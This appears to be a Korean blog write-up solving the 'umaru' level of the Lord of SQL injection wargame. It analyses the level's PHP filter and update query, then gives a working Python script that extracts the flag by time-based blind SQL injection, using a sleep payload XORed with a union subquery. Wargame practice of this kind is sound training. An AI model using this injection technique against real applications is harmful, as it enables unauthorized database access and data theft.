본문 바로가기

WarGame/Web

[Lord of SQL injection] umaru

소스코드 분석


function reset_flag(){

  $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);

  $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));

  if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");

  else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");

  echo "reset ok";

  highlight_file(__FILE__);

  exit();

}

flag를 reset시키는 기능이다. hash값을 잘라서 $new_flag에 저장시킨다.

$_SESSION[los_id]가 맞지않을때 새로운 $new_flag를 저장시킨다. 맞는 경우엔 새로운 $new_flag로 갱신시킨다.


if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");

if(strlen($_GET[flag])>100) exit("HeHe");

id, where, order, limit, , 를 필터링 시키고 flag의 길이는 100을 못넘긴다.


@mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");

@mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");

prob_umaru_temp라는 새로운 테이블에 flag로 넘긴 값을 갱신시킨다. 


prob_umaru에 들어간 flag는 $realflag

prob_umaru_temp에 들어간 flag는 $tempflag


if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();


if($realflag[flag] === $_GET[flag]) solve("umaru");


맞춰야하는 flag는 $realflag

내가 입력하는 flag는 tempflag가 된다.

그리고 이 두개가 맞지않을 경우

reset_flag 기능으로 가서 새로운 new_flag로 갱신된다. 

이게 결국 다시 $realflag가 된다.


여기서 해야될것은 update문 우회(값을 바꿔가면서 넣을 때 realflag가 계속 바뀌면 안되기 때문)를 하고 

sleep함수를 사용(Time-Based Blind SQL Injection)하여 문제를 풀면된다. 


import http.client
import time
result=''
leng=0
header={'Cookie':'PHPSESSID=heinmak3jrglkg9s6fkbde26c2'}
string="0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+"
time2=1
for i in range(1,100) :
start = time.time()
length='/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep(length(flag)%20=%20'+str(i)+')%20^%20(select%201%20union%20select%202)'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',length,'',header)
data=conn.getresponse().read()
end = time.time()
time1 = end - start
if time1 > time2:
leng = i
print ("pw length: "+str(i))
break
for i in range(1,leng+1):
for j in range(0,50):
start = time.time()
substr = '/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep(flag%20like%20%27'+result+string[j]+'%%27)%20^%20(select%201%20union%20select%202)'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
end = time.time()
time1 = end - start
if time1 > time2:
result=result+string[j]
print ('flag like '+result+'%')
break
print ('Password is '+result)
substr = '/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag='+result
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
print (data)


'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] evil_wizard  (0) 2017.06.02
[Lord of SQL injection] hell_fire  (0) 2017.06.02
[Lord of SQL injection] dark_eyes  (0) 2017.06.02
[Lord of SQL injection] iron_golem  (0) 2017.06.02
[Lord of SQL injection] dragon  (0) 2017.06.01